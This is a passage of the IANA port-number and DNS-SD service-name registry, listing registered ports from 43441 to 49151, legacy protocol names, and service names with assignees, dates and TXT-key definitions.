ciscocsdb          43441       udp    Cisco NetMgmt DB Ports       [Cisco_Systems]                                       [Cisco_Systems]                                           2005-11
                43442-44122           Unassigned
z-wave-tunnel      44123       tcp    Z-Wave Secure Tunnel         [Sigma_Designs_Inc]                                   [Anders_Brandt_3]                                         2012-10-12   2015-06-26
                   44123       udp    Reserved
                44124-44320           Unassigned
pmcd               44321       tcp    PCP server (pmcd)            [Ken_McDonell]                                        [Ken_McDonell]                                            2010-12-20
pmcd               44321       udp    PCP server (pmcd)            [Ken_McDonell]                                        [Ken_McDonell]                                            2010-12-20
pmcdproxy          44322       tcp    PCP server (pmcd) proxy      [Ken_McDonell]                                        [Ken_McDonell]                                            2003-07      2010-12-20
pmcdproxy          44322       udp    PCP server (pmcd) proxy      [Ken_McDonell]                                        [Ken_McDonell]                                            2003-07      2010-12-20
pmwebapi           44323       tcp    HTTP binding for Performance [Performance_Co-Pilot_PCP_Project]                    [Ken_McDonell_2]                                          2013-10-09
                                      Co-Pilot client API
                   44323       udp    Unassigned                                                                                                                                                                                                                                  "pcp" assignment withdrawn, moved to port 5351 per RFC6887
                44324-44443           Unassigned
cognex-dataman     44444       tcp    Cognex DataMan Management    [Cognex]                                              [Mario_Joussen]                                           2012-08-28
                                      Protocol
                   44444       udp    Reserved
                                                                                                                                                                                                                                                                     Known
                                                                                                                                                                                                                                                                     UNAUTHORIZED
                44445-44543           Unassigned                                                                                                                                                                                                                     USE: Ports
                                                                                                                                                                                                                                                                     44515 &
                                                                                                                                                                                                                                                                     44516
                   44544       tcp    Reserved
domiq              44544       udp    DOMIQ Building Automation    [DOMIQ_Sp_zoo]                                        [Filip_Zawadiak]                                          2011-08-29
                44545-44552           Unassigned
rbr-debug          44553       tcp    REALbasic Remote Debug       [Aaron_Ballman]                                       [Aaron_Ballman]                                           2004-11
rbr-debug          44553       udp    REALbasic Remote Debug       [Aaron_Ballman]                                       [Aaron_Ballman]                                           2004-11
                44554-44599           Unassigned
                   44600       tcp    Reserved
asihpi             44600       udp    AudioScience HPI             [Eliot_Blennerhassett]                                [Eliot_Blennerhassett]                                    2011-07-07
                44601-44817           Unassigned
                                      EtherNet/IP messaging

EtherNet-IP-2      44818       tcp    IANA assigned this           [Brian_Batke_2]                                       [Brian_Batke_2]                                                                                                                                          New contact added for port 44818 on 2008-02-01
                                      well-formed service name as
                                      a replacement for
                                      "EtherNet/IP-2".
                                                                                                                                                                                                                                                                                  New contact added for port 44818 on 2008-02-01 This entry is
EtherNet/IP-2      44818       tcp    EtherNet/IP messaging        [Brian_Batke_2]                                       [Brian_Batke_2]                                                                                                                                          an alias to "EtherNet-IP-2". This entry is now historic, not
                                                                                                                                                                                                                                                                                  usable for use with many common service discovery mechanisms.
                                      EtherNet/IP messaging

EtherNet-IP-2      44818       udp    IANA assigned this           [Brian_Batke_2]                                       [Brian_Batke_2]                                                                                                                                          New contact added for port 44818 on 2008-02-01
                                      well-formed service name as
                                      a replacement for
                                      "EtherNet/IP-2".
                                                                                                                                                                                                                                                                                  New contact added for port 44818 on 2008-02-01 This entry is
EtherNet/IP-2      44818       udp    EtherNet/IP messaging        [Brian_Batke_2]                                       [Brian_Batke_2]                                                                                                                                          an alias to "EtherNet-IP-2". This entry is now historic, not
                                                                                                                                                                                                                                                                                  usable for use with many common service discovery mechanisms.
                44819-44899           Unassigned
                                      M3DA is used for efficient
m3da               44900       tcp    machine-to-machine           [Eclipse_Foundation]                                  [Didier_Lahay]                                            2013-02-22
                                      communications
                                      M3DA Discovery is used for
m3da-disc          44900       udp    efficient machine-to-machine [Eclipse_Foundation]                                  [Didier_Lahay]                                            2013-02-22
                                      communications
                44901-44999           Unassigned
                                      Nuance AutoStore Status
asmp               45000       tcp    Monitoring Protocol (data    [Nuance_Communications_Inc4]                          [Andrew_Andrews]                                          2011-09-01   2017-04-26
                                      transfer)
                                      Nuance AutoStore Status
asmp-mon           45000       udp    Monitoring Protocol (device  [Nuance_Communications_Inc4]                          [Andrew_Andrews]                                          2011-09-01   2017-04-26
                                      monitoring)
                                      Nuance AutoStore Status
asmps              45001       tcp    Monitoring Protocol (secure  [Nuance_Communications_Inc4]                          [Andrew_Andrews]                                          2011-09-01   2017-04-26
                                      data transfer)
                   45001       udp    Reserved
rs-status          45002       tcp    Redspeed Status Monitor      [Redspeed_International_Ltd]                          [Simon_Griffiths]                                         2015-03-10
                   45002       udp    Reserved
                45003-45044           Unassigned
synctest           45045       tcp    Remote application control   [Eleks_Ltd]                                           [Andriy_Skop]                                             2013-04-08
                                      protocol
                   45045       udp    Reserved
                45046-45053           Unassigned
invision-ag        45054       tcp    InVision AG                  [Matthias_Schroer]                                    [Matthias_Schroer]
invision-ag        45054       udp    InVision AG                  [Matthias_Schroer]                                    [Matthias_Schroer]
                45055-45513           Unassigned
cloudcheck         45514       tcp    ASSIA CloudCheck WiFi        [ASSIA_Inc]                                           [Leonardo_Dagum]                                          2016-08-29
                                      Management System
cloudcheck-ping    45514       udp    ASSIA CloudCheck WiFi        [ASSIA_Inc]                                           [Leonardo_Dagum]                                          2016-08-29
                                      Management keepalive
                45515-45677           Unassigned
eba                45678       tcp    EBA PRISE                    [Patrick_Kara]                                        [Patrick_Kara]
eba                45678       udp    EBA PRISE                    [Patrick_Kara]                                        [Patrick_Kara]
                45679-45823           Unassigned
dai-shell          45824       tcp    Server for the DAI family of [Data_Access_Inc]                                     [Adam_Robinson]                                           2012-04-30
                                      client-server products
                   45824       udp    Reserved
qdb2service        45825       tcp    Qpuncture Data Access        [Michael_Yun]                                         [Michael_Yun]                                             2007-10-24
                                      Service
qdb2service        45825       udp    Qpuncture Data Access        [Michael_Yun]                                         [Michael_Yun]                                             2007-10-24
                                      Service
                45826-45965           Unassigned
ssr-servermgr      45966       tcp    SSRServerMgr                 [Jeremy_Gilliat]                                      [Jeremy_Gilliat]
ssr-servermgr      45966       udp    SSRServerMgr                 [Jeremy_Gilliat]                                      [Jeremy_Gilliat]
                45967-46335           Unassigned
inedo              46336       tcp    Listen port used for Inedo   [Inedo]                                               [Steve_Dennis]                                            2016-01-12
                                      agent communication
                   46336       udp    Reserved
                46337-46997           Unassigned
                                      Connection between a desktop
spremotetablet     46998       tcp    computer or server and a     [SOFTPRO_GmbH]                                        [Christoph_Hipp]                                          2012-07-19   2013-08-02
                                      signature tablet to capture
                                      handwritten signatures
                   46998       udp    Reserved
mediabox           46999       tcp    MediaBox Server              [Alexander_Graef]                                     [Alexander_Graef]                                         2004-11
mediabox           46999       udp    MediaBox Server              [Alexander_Graef]                                     [Alexander_Graef]                                         2004-11
mbus               47000       tcp    Message Bus                  [Dirk_Kutscher]                                       [Dirk_Kutscher]
mbus               47000       udp    Message Bus                  [Dirk_Kutscher]                                       [Dirk_Kutscher]
winrm              47001       tcp    Windows Remote Management    [Ryan_Mack]                                           [Ryan_Mack]                                               2009-04-29
                                      Service
                   47001       udp    Reserved
                47002-47099           Unassigned
                                      Configuration of motors
jvl-mactalk        47100       udp    connected to Industrial      [JVL_Industri_Elektronik]                             [Kim_Berthelsen]                                          2012-12-21
                                      Ethernet
                   47100       tcp    Reserved
                47101-47556           Unassigned
dbbrowse           47557       tcp    Databeam Corporation         [Cindy_Martin]                                        [Cindy_Martin]
dbbrowse           47557       udp    Databeam Corporation         [Cindy_Martin]                                        [Cindy_Martin]
                47558-47623           Unassigned
directplaysrvr     47624       tcp    Direct Play Server           [Ajay_Jindal]                                         [Ajay_Jindal]
directplaysrvr     47624       udp    Direct Play Server           [Ajay_Jindal]                                         [Ajay_Jindal]
                47625-47805           Unassigned
ap                 47806       tcp    ALC Protocol                 [Dave_Robin]                                          [Dave_Robin]
ap                 47806       udp    ALC Protocol                 [Dave_Robin]                                          [Dave_Robin]
                   47807              Unassigned
bacnet             47808       tcp    Building Automation and      [Coleman_Brumley]                                     [Coleman_Brumley]                                         2011-02-10
                                      Control Networks
bacnet             47808       udp    Building Automation and      [Coleman_Brumley]                                     [Coleman_Brumley]                                         2011-02-10
                                      Control Networks
presonus-ucnet     47809       udp    PreSonus Universal Control   [PreSonus_Audio_Electronics_Inc]                      [Matthias_Juwan]                                          2013-07-12
                                      Network Protocol
                   47809       tcp    Reserved
                47810-47999           Unassigned
nimcontroller      48000       tcp    Nimbus Controller            [Carstein_Seeberg_2]                                  [Carstein_Seeberg_2]
nimcontroller      48000       udp    Nimbus Controller            [Carstein_Seeberg_2]                                  [Carstein_Seeberg_2]
nimspooler         48001       tcp    Nimbus Spooler               [Carstein_Seeberg_2]                                  [Carstein_Seeberg_2]
nimspooler         48001       udp    Nimbus Spooler               [Carstein_Seeberg_2]                                  [Carstein_Seeberg_2]
nimhub             48002       tcp    Nimbus Hub                   [Carstein_Seeberg_2]                                  [Carstein_Seeberg_2]
nimhub             48002       udp    Nimbus Hub                   [Carstein_Seeberg_2]                                  [Carstein_Seeberg_2]
nimgtw             48003       tcp    Nimbus Gateway               [Carstein_Seeberg_2]                                  [Carstein_Seeberg_2]
nimgtw             48003       udp    Nimbus Gateway               [Carstein_Seeberg_2]                                  [Carstein_Seeberg_2]
nimbusdb           48004       tcp    NimbusDB Connector           [Stephen_Harrison]                                    [Stephen_Harrison]                                        2011-01-24
                   48004       udp    Reserved
nimbusdbctrl       48005       tcp    NimbusDB Control             [Stephen_Harrison]                                    [Stephen_Harrison]                                        2011-01-24
                   48005       udp    Reserved
                48006-48047           Unassigned
juliar             48048       tcp    Juliar Programming Language  [Juliar]                                              [Andrei_Mak]                                              2018-02-16
                                      Protocol
                   48048       udp    Reserved
3gpp-cbsp          48049       tcp    3GPP Cell Broadcast Service  [Gert_Thomasen]                                       [Gert_Thomasen]                                           2009-12-07
                                      Protocol
                   48049       udp    Reserved
                                      WeFi Access Network
weandsf            48050       tcp    Discovery and Selection      [WeFi_Inc]                                            [Eran_Naveh]                                              2013-07-19
                                      Function
                   48050       udp    Reserved
                48051-48127           Unassigned
isnetserv          48128       tcp    Image Systems Network        [Bengt_Gustafsson]                                    [Bengt_Gustafsson]                                        2006-05
                                      Services
isnetserv          48128       udp    Image Systems Network        [Bengt_Gustafsson]                                    [Bengt_Gustafsson]                                        2006-05
                                      Services
blp5               48129       tcp    Bloomberg locator            [Albert_Hou]                                          [Albert_Hou]                                              2006-05
blp5               48129       udp    Bloomberg locator            [Albert_Hou]                                          [Albert_Hou]                                              2006-05
                48130-48555           Unassigned
com-bardac-dw      48556       tcp    com-bardac-dw                [Nicholas_J_Howes]                                    [Nicholas_J_Howes]
com-bardac-dw      48556       udp    com-bardac-dw                [Nicholas_J_Howes]                                    [Nicholas_J_Howes]
                48557-48618           Unassigned
iqobject           48619       tcp    iqobject                     [Bjorn_de_Bonnenfant]                                 [Bjorn_de_Bonnenfant]                                     2003-11
iqobject           48619       udp    iqobject                     [Bjorn_de_Bonnenfant]                                 [Bjorn_de_Bonnenfant]                                     2003-11
                48620-48652           Unassigned
robotraconteur     48653       tcp    Robot Raconteur transport    [Wason_Technology_LLC]                                [John_Wason]                                              2014-01-27
robotraconteur     48653       udp    Robot Raconteur transport    [Wason_Technology_LLC]                                [John_Wason]                                              2014-01-27
                48654-48999           Unassigned
matahari           49000       tcp    Matahari Broker              [Matahari_Project]                                    [Zane_Bitter]                                             2011-08-31
                   49000       udp    Reserved
nusrp              49001       tcp    Nuance Unity Service Request [Nuance_Communications_Inc3]                          [Andrew_Andrews]                                          2017-04-20
                                      Protocol
nusdp-disc         49001       udp    Nuance Unity Service         [Nuance_Communications_Inc3]                          [Andrew_Andrews]                                          2017-04-20
                                      Discovery Protocol
                49002-49149           Unassigned
inspider           49150       tcp    InSpider System              [AnRobot]                                             [Zhang_Xinnan]                                            2017-11-06
                   49150       udp    Reserved
                   49151              IANA Reserved
argus                                 ARGUS Protocol
arp                                   Address Resolution Protocol
bbn-rcc-mon                           BBN RCC Monitoring
bootp                                 Bootstrap Protocol
br-sat-mon                            Backroom SATNET Monitoring
cftp                                  CFTP
chaos                                 CHAOS Protocol
clock                                 DCNET Time Server Protocol
cmot                                  Common Mgmnt Info Ser and
                                      Prot over TCP/IP
cookie-jar                            Authentication Scheme
dcn-meas                              DCN Measurement Subsystems
                                      Protocol
dgp                                   Dissimilar Gateway Protocol
dmf-mail                              Digest Message Format for
                                      Mail
egp                                   Exterior Gateway Protocol
ehf-mail                              Encoding Header Field for
                                      Mail
emcon                                 Emission Control Protocol
fconfig                               Fujitsu Config Protocol
ggp                                   Gateway Gateway Protocol
hmp                                   Host Monitoring Protocol
host2-ns                              Host2 Name Server
icmp                                  Internet Control Message
                                      Protocol
igmp                                  Internet Group Management
                                      Protocol
igp                                   Interior Gateway Protocol
imap2                                 Interim Mail Access Protocol
                                      version 2
ip                                    Internet Protocol
ipcu                                  Internet Packet Core Utility
ippc                                  Internet Pluribus Packet
                                      Core
ip-arc                                Internet Protocol on ARCNET
ip-arpa                               Internet Protocol on ARPANET
ip-cmprs                              Compressing TCP/IP Headers
ip-dc                                 Internet Protocol on DC
                                      Networks
ip-dvmrp                              Distance Vector Multicast
                                      Routing Protocol
ip-e                                  Internet Protocol on
                                      Ethernet Networks
ip-ee                                 Internet Protocol on Exp.
                                      Ethernet Nets
ip-fddi                               Transmission of IP over FDDI
ip-hc                                 Internet Protocol on
                                      Hyperchannnel
ip-ieee                               Internet Protocol on IEEE
                                      802
ip-ipx                                Transmission of 802.2 over
                                      IPX Networks
ip-mtu                                IP MTU Discovery Options
ip-netbios                            Internet Protocol over
                                      NetBIOS Networks
ip-slip                               Transmission of IP over
                                      Serial Lines
ip-wb                                 Internet Protocol on
                                      Wideband Network
ip-x25                                Internet Protocol on X.25
                                      Networks
irtp                                  Internet Reliable
                                      Transaction Protocol
iso-tp4                               ISO Transport Protocol Class
                                      4
larp                                  Locus Address Resoultion
                                      Protocol
leaf-1                                Leaf-1 Protocol
leaf-2                                Leaf-2 Protocol
loc-srv                               Location Service
mail                                  Format of Electronic Mail
                                      Messages
merit-inp                             MERIT Internodal Protocol
mib                                   Management Information Base
mihcs                                 MIH Command Services                                                                                                                                                   [RFC5679]
mihes                                 MIH Event Services                                                                                                                                                     [RFC5679]
mihis                                 MIH Information Services                                                                                                                                               [RFC5679]
mfe-nsp                               MFE Network Services
                                      Protocol
mit-subnet                            MIT Subnet Support
mux                                   Multiplexing Protocol
netblt                                Bulk Data Transfer Protocol
neted                                 Network Standard Text Editor
netrjs                                Remote Job Service
nfile                                 A File Access Protocol
nvp-ii                                Network Voice Protocol
ospf                                  Open Shortest Path First
                                      Interior GW Protocol
pcmail                                Pcmail Transport Protocol
ppp                                   Point-to-Point Protocol
prm                                   Packet Radio Measurement
pup                                   PUP Protocol
quote                                 Quote of the Day Protocol
rarp                                  A Reverse Address Resolution
                                      Protocol
ratp                                  Reliable Asynchronous
                                      Transfer Protocol
rdp                                   Reliable Data Protocol
rip                                   Routing Information Protocol
rvd                                   Remote Virtual Disk Protocol
sat-expak                             Satnet and Backroom EXPAK
sat-mon                               SATNET Monitoring
smi                                   Structure of Management
                                      Information
stp                                   Stream Protocol
sun-rpc                               SUN Remote Procedure Call
tcp                                   Transmission Control
                                      Protocol
tcp-aco                               TCP Alternate Checksum
                                      Option
thinwire                              Thinwire Protocol
tp-tcp                                ISO Transport Service on top
                                      of the TCP
trunk-1                               Trunk-1 Protocol
trunk-2                               Trunk-2 Protocol
ucl                                   University College London
                                      Protocol
udp                                   User Datagram Protocol
users                                 Active Users Protocol
via-ftp                               VIA Systems-File Transfer
                                      Protocol
visa                                  VISA Protocol
vmtp                                  Versatile Message
                                      Transaction Protocol
wb-expak                              Wideband EXPAK
wb-mon                                Wideband Monitoring
xnet                                  Cross Net Debugger
xns-idp                               Xerox NS IDP
                                      1Password Password Manager
1password                             data sharing and             [Roustem_Karimov]                                     [Roustem_Karimov]                                                                                                                                        Defined TXT keys: None
                                      synchronization protocol
a-d-sync                              Altos Design Synchronization [David_Lasker]                                        [David_Lasker]                                                                                                                                           Defined TXT keys: None
                                      protocol
                                      Applied Biosystems Universal                                                                                                                                                                                                                Defined TXT keys: product=<short product name/model>
abi-instrument                        Instrument Framework         [Tor_Slettnes]                                        [Tor_Slettnes]                                                                                                                                           description=<readable name> version=<firmware/instrument
                                                                                                                                                                                                                                                                                  controller version>
accessdata-f2d                        FTK2 Database Discovery      [Rick_Russell]                                        [Rick_Russell]                                                                                                                                           Defined TXT keys: Proprietary
                                      Service
accessdata-f2w                        FTK2 Backend Processing      [Rick_Russell]                                        [Rick_Russell]                                                                                                                                           Defined TXT keys: Proprietary
                                      Agent Service
accessone                             Strix Systems 5S/AccessOne   [Scott_Herscher_2]                                    [Scott_Herscher_2]                                                                                                                                       Defined TXT keys: None
                                      protocol
accountedge                           MYOB AccountEdge                                                                                                                                                                                                                            Defined TXT keys: None
acrobatsrv                            Adobe Acrobat                                                                                                                                                                                                                               Defined TXT keys: type, path, FeedType
acs-ctl-ds                     tcp    Access Control Device        [Honwywell_Security_Group]                            [John_Dziadosz]                                           2012-04-09                                                                                     Defined TXT keys: MAC=, GW-MAC
acs-ctl-ds                     udp    Access Control Device        [Honwywell_Security_Group]                            [John_Dziadosz]                                           2012-04-09                                                                                     Defined TXT keys: MAC=, GW-MAC
acs-ctl-gw                     tcp    Access Control Gateway       [Honwywell_Security_Group]                            [John_Dziadosz]                                           2012-04-09                                                                                     Defined TXT keys: MAC=, GW-MAC
acs-ctl-gw                     udp    Access Control Gateway       [Honwywell_Security_Group]                            [John_Dziadosz]                                           2012-04-09                                                                                     Defined TXT keys: MAC=, GW-MAC
actionitems                           ActionItems                  [Sailalong_Software]                                  [Sailalong_Software]                                                                                                                                     Defined TXT keys: None
activeraid                            Active Storage Proprietary   [Skip_Levens]                                         [Skip_Levens]                                                                                                                                            Defined TXT keys: None
                                      Device Management Protocol
                                      Encrypted transport of
activeraid-ssl                        Active Storage Proprietary   [Skip_Levens]                                         [Skip_Levens]                                                                                                                                            Defined TXT keys: None
                                      Device Management Protocol
addressbook                           Address-O-Matic              [Massimiliano_Ribuoli]                                [Massimiliano_Ribuoli]                                                                                                                                   Defined TXT keys: None
                                      Address Book Server used for
addressbooksrv                 tcp    contacts and calendar        [AddressBookServer]                                   [Alexander_Hartner]                                       2011-10-14                                                                                     Defined TXT keys: _suffix, _prefix
                                      synchronisation
                                      difusi Cloud based plug &
                                      play network synchronization
adnodes                               protocol, content pool       [DIFUSI_Inc]                                          [Mike_Wright]                                             2011-11-07                                                                                     Defined TXT keys: Proprietary
                                      database discovery, and
                                      cloudOS SAaS discovery
                                      protocol.
adobe-shadow                   tcp    Adobe Shadow Server          [Adobe_Systems]                                       [Mike_Harris]                                             2012-04-17                                                                                     Defined TXT keys: id
adobe-vc                              Adobe Version Cue                                                                                                                                                                                                                           Defined TXT keys: txtvers=1, name, version, build
adisk                                 Automatic Disk Discovery     [Bob_Bradley_2]                                       [Bob_Bradley_2]                                                                                                                                          Defined TXT keys: sys, dkX
adpro-setup                           ADPRO Security Device Setup  [Patrick_Noffke]                                      [Patrick_Noffke]                                                                                                                                         Defined TXT keys: txtvers, type
aecoretech                            Apple Application            [Hani_Abdelazim]                                      [Hani_Abdelazim]                                                                                                                                         Defined TXT keys: None
                                      Engineering Services
                                                                                                                                                                                                                                                                                  Defined TXT keys: orb_server=<port #> (optional) CORBA ORB
                                      Aeroflex instrumentation and                                                                                                                                                                                                                server used for resource discovery product_id=<string>
aeroflex                              software                     [David_Hagood]                                        [David_Hagood]                                                                                                                                           (optional) ID of licensed product
                                                                                                                                                                                                                                                                                  txtvers="*IDN?=<identifier>" (optional) as per LXI
                                                                                                                                                                                                                                                                                  specification (for not yet LXI compatible instruments)
aerohive-proxy                 tcp    Aerohive Proxy Configuration [Aerohive_Networks]                                   [Matthew_Gast]                                            2012-05-31                                                                                     Defined TXT keys: name, port, username
                                      Service
airdrop                        tcp    Airdrop                      [Apple_Inc]                                           [Marc_Krochmal_2]                                         2012-03-02                                                                                     Defined TXT keys: flags, phash, ehash, cname
airplay                        tcp    Protocol for streaming of    [Apple_Inc_2]                                         [Bob_Bradley_3]                                           2012-09-19                                                                                     Defined TXT keys: am, cn, et, ft, fv, md, pk, pw, sf, tp, vn,
                                      audio/video content                                                                                                                                                                                                                         vs
airplay                        udp    Protocol for streaming of    [Apple_Inc_2]                                         [Bob_Bradley_3]                                           2012-09-19                                                                                     Defined TXT keys: am, cn, et, ft, fv, md, pk, pw, sf, tp, vn,
                                      audio/video content                                                                                                                                                                                                                         vs
airport                               AirPort Base Station         [Bob_Bradley_2]                                       [Bob_Bradley_2]                                                                                                                                          Defined TXT keys: waMA;
airpreview                     tcp    Coda AirPreview              [Panic_Inc]                                           [Cabel_Sasser]                                            2012-07-19                                                                                     Defined TXT keys: hasCamera, name, UUID
                                                                                                                                                                                                                                                                                  Defined TXT keys: mac=<MAC address> ip=<IP address>
airprojector                          AirProjector                 [Yoshinori_Nakayama]                                  [Yoshinori_Nakayama]                                                                                                                                     note=<Location> use=<Status> mainprog=<Main program version>
                                                                                                                                                                                                                                                                                  bootprog=<Boot program version>
airsharing                            Air Sharing                  [Erik_Rogers][Dave_Howell]                            [Erik_Rogers][Dave_Howell]                                                                                                                               Defined TXT keys: None
airsharingpro                         Air Sharing Pro              [Erik_Rogers][Dave_Howell]                            [Erik_Rogers][Dave_Howell]                                                                                                                               Defined TXT keys: None
alazartech-atn                 tcp    Alazar Technologies ATN      [Alazar_Technologies]                                 [Romain_Deterre]                                          2016-05-26                                                                                     Defined TXT keys: None
                                      Communication Protocol
aloe-gwp                       tcp    Aloe Gateway Protocol        [Layered_Logic]                                       [Brooks_Bell]                                             2012-01-04                                                                                     Defined TXT keys: Version
aloe-pp                        tcp    Aloe Pairing Protocol        [Layered_Logic]                                       [Brooks_Bell]                                             2012-01-04                                                                                     Defined TXT keys: Version, DeviceName, DeviceModel,
                                                                                                                                                                                                                                                                                  DeviceSystem, DeviceSystemVersion, AppName, AppVersion
amba-cam                       udp    Ambarella Cameras            [Louis_Sun]                                           [Louis_Sun]                                                                                                                                              Defined TXT keys: product=<product model name>
                                                                                                                                                                                                                                                                                  description=<string name> version=<firmware version>
                                      P2PTapWar Sample Application
amiphd-p2p                            from "iPhone SDK             [Chris_Adamson]                                       [Chris_Adamson]                                                                                                                                          Defined TXT keys: None
                                      Development" Book
ams-htm                               Proprietary protocol for     [AccuMed_Services]                                    [Sam_Carleton_2]                                          2011-10-20                                                                                     Defined TXT keys: None
                                      Accu-Med HTM
animolmd                              Animo License Manager        [Phil_Barrett]                                        [Phil_Barrett]                                                                                                                                           Defined TXT keys: None
animobserver                          Animo Batch Server           [Phil_Barrett]                                        [Phil_Barrett]                                                                                                                                           Defined TXT keys: None
                                      Anquet map synchronization
anquetsync                            between desktop and handheld [Paul_Lesurf]                                         [Paul_Lesurf]                                                                                                                                            Defined TXT keys: Proprietary
                                      devices
antrmai                        tcp    ANT Galio web services       [ANT_Software]                                        [Simon_Middleton]                                         2012-12-06                                                                                     Defined TXT keys: txtvers, man
anyremote                      tcp    remote control of Linux PCs  [Mikhail_Fedotov]                                     [Mikhail_Fedotov]                                         2014-12-10                                                                                     Defined TXT keys: None
                                      from Android and J2ME
appelezvous                           Appelezvous                  [Marco_Piovanelli]                                    [Marco_Piovanelli]                                                                                                                                       Defined TXT keys: None
apple-ausend                          Apple Audio Units            [James_McCartney]                                     [James_McCartney]                                                                                                                                        Defined TXT keys: None
apple-mobdev                   tcp    Apple Mobile Device Protocol [Apple_2]                                             [Paul_Chinn][Justin_Ko]                                   2011-10-20                                                                                     Defined TXT keys: None
apple-midi                     udp    Apple MIDI                   [Doug_Wyatt]                                          [Doug_Wyatt]                                                                                                                                             Defined TXT keys: None
applerdbg                             Apple Remote Debug Services  [Dave_Springer]                                       [Dave_Springer]                                                                                                                                          Defined TXT keys: None
                                      (OpenGL Profiler)
appletv                               Apple TV                     [Amandeep_Jawa_3]                                     [Amandeep_Jawa_3]                                                                                                                                        Defined TXT keys: txtvers, PrVs, OSsi, MniT
appletv-itunes                        Apple TV discovery of iTunes [Amandeep_Jawa_3]                                     [Amandeep_Jawa_3]                                                                                                                                        Defined TXT keys: txtvers
appletv-pair                          Apple TV Pairing             [Amandeep_Jawa_3]                                     [Amandeep_Jawa_3]                                                                                                                                        Defined TXT keys: txtvers
aquamon                               AquaMon                                                                                                                                                                                                                                     Defined TXT keys: None
arcnet                         udp    Arcturus Networks Inc.       [Arcturus_Networks_Inc]                               [Michael_Durrant]                                         2011-10-20                                                                                     Defined TXT keys: None
                                      Hardware Services
                                      Active Registry Network for
arn                            tcp    distribution of values and   [Mictron]                                             [Michael_Wiklund]                                         2013-10-17                                                                                     Defined TXT keys: None
                                      streams
aroundsound                           AroundSound's information    [Winzig_LLC]                                          [Around_Sound]                                            2011-10-20                                                                                     Defined TXT keys: Proprietary
                                      sharing protocol
                                      protocol for an event-based
aseba                          tcp    architecture for distributed [Mobsya_Association]                                  [S_Magnenat]                                              2016-08-18                                                                                     Defined TXT keys: txtvers, type, protovers, ids, pids
                                      control of mobile robots
astnotify                      udp    Asterisk Caller-ID           [Sven_Slezak]                                         [Sven_Slezak]                                                                                                                                            Defined TXT keys: prefix=<country code prefix> (numeric,
                                      Notification Service                                                                                                                                                                                                                        additionally '+')
astralite                             Astralite                    [Tongji_University]                                   [Tongji_University]                                                                                                                                      Defined TXT keys: None
async                                 address-o-sync               [Markus_Brand]                                        [Markus_Brand]                                                                                                                                           Defined TXT keys: None
atnet                          udp    AT protocol over IP          [Selectron_BVBA]                                      [Jan_Verschaeve]                                          2018-03-20                                                                                     Defined TXT keys: None
                                      Atlassian Application (JIRA,
atlassianapp                          Confluence, Fisheye,         [Denise_Fernandez]                                    [Denise_Fernandez]                                                                                                                                       Defined TXT keys: app.url
                                      Crucible, Crowd, Bamboo)
                                      discovery service
attero-ad                      tcp    Attero Tech Audio Device     [Attero_Tech_LLC]                                     [David_Vaughn]                                            2015-09-24                                                                                     Defined TXT keys: txtvers, protovers, CtrlType, Model
attero-ad                      udp    Attero Tech Audio Device     [Attero_Tech_LLC]                                     [David_Vaughn]                                            2015-09-24                                                                                     Defined TXT keys: txtvers, protovers, CtrlType, Model
audirvana-ap                   tcp    Audirvana Remote Access      [Audirvana_SCS]                                       [Damien_Plisson]                                          2015-07-21                                                                                     Defined TXT keys: txtvers, protovers
                                      Protocol
autosendimages                 tcp    automatic sending Image data [Canon_Inc_2]                                         [Kazuo_Moritomo]                                          2017-04-17
                                      protocol
autotargets-ap                 tcp    Access Point for AutoTargets [Automated_Target_Solutions_Inc.]                     [Nathan_Walker]                                           2015-12-28                                                                                     Defined TXT keys: none
                                      system
av                                    Allen Vanguard Hardware      [Mike_Bush]                                           [Mike_Bush]                                                                                                                                              Defined TXT keys: Proprietary
                                      Service
                                      TCP SpyChat Stream Message                                                                                                                                                                                                                  Defined TXT keys: There are two TXT record keys: 1st key:
av-chat-ring-01                tcp    Exchange                     [Alexios_Vasileiadis]                                 [Alexios_Vasileiadis]                                     2018-05-03                                                                                     "txt-vers" associated with an 'int' entry. 2nd key:
                                                                                                                                                                                                                                                                                  "conn-stat" associated with an 'int' entry.
avatars                        tcp    Libravatar federated avatar  [libravatar_org]                                      [Francois_Marier]                                         2011-10-11                                                                                     Defined TXT keys: none
                                      hosting service.
avatars-sec                    tcp    Libravatar federated avatar  [libravatar_org]                                      [Francois_Marier]                                         2011-10-11                                                                                     Defined TXT keys: none
                                      hosting service.
axis-nvr                       tcp    Axis Network Video Recorders [Axis_Communications_AB]                              [Erik_Linge]                                              2018-05-24                                                                                     Defined TXT keys: None
axis-nvr                       udp    Axis Network Video Recorders [Axis_Communications_AB]                              [Erik_Linge]                                              2018-05-24                                                                                     Defined TXT keys: None
axis-video                            Axis Video Cameras           [Kristina_Sten]                                       [Kristina_Sten]                                                                                                                                          Defined TXT keys: None
b3d-convince                          3M Unitek Digital            [Rajiv_Aaron_Manglani]                                [Rajiv_Aaron_Manglani]                                                                                                                                   Defined TXT keys: txtvers=1, protovers=<api version>,
                                      Orthodontic System                                                                                                                                                                                                                          guid=<32 hex digits>
babyphone                             BabyPhone                    [Johan_Kool]                                          [Johan_Kool]                                                                                                                                             Defined TXT keys: None
bandhelper-rc                  tcp    Remote Control for           [Arlo_Leach]                                          [Arlo_Leach]                                              2017-04-21                                                                                     Defined TXT keys: None
                                      BandHelper app
bandhelper-ss                  tcp    Screen sharing for           [Arlo_Leach]                                          [Arlo_Leach]                                              2017-04-21                                                                                     Defined TXT keys: None
                                      BandHelper app
                                      Peer to peer file sharing
barroomcomedy                  tcp    for a media player           [Fred_Zimmerman]                                      [Fred_Zimmerman]                                          2013-11-05                                                                                     Defined TXT keys: None
                                      application
bcloud-server                  tcp    Buddycloud Server Delegation [buddycloud]                                          [Simon_Tennant_2]                                         2014-06-19                                                                                     Defined TXT keys: v, host
bdsk                                  BibDesk Sharing              [Adam_Maxwell]                                        [Adam_Maxwell]                                                                                                                                           Defined TXT keys: txtvers, authenticate
beacon                                Beacon Remote Service        [Jeffrey_Sadeli]                                      [Jeffrey_Sadeli]                                                                                                                                         Defined TXT keys: version=<product version>, company=<product
                                                                                                                                                                                                                                                                                  company>
beamer                                Beamer Data Sharing Protocol [Frank_Szczerba]                                      [Frank_Szczerba]                                                                                                                                         Defined TXT keys: None
beatpack                              BeatPack Synchronization     [Mathieu_Garcia]                                      [Mathieu_Garcia]                                                                                                                                         Defined TXT keys: None
                                      Server for BeatMaker
                                      Beats Direct allows for the
beatsdirect                    tcp    discovery and control of     [Beats_Electronics_LLC]                               [Eddie_Borjas]                                            2013-06-03                                                                                     Defined TXT keys: None
                                      devices
beep                                  Xgrid Technology Preview     [David_Kramer_2]                                      [David_Kramer_2]                                                                                                                                         Defined TXT keys: None
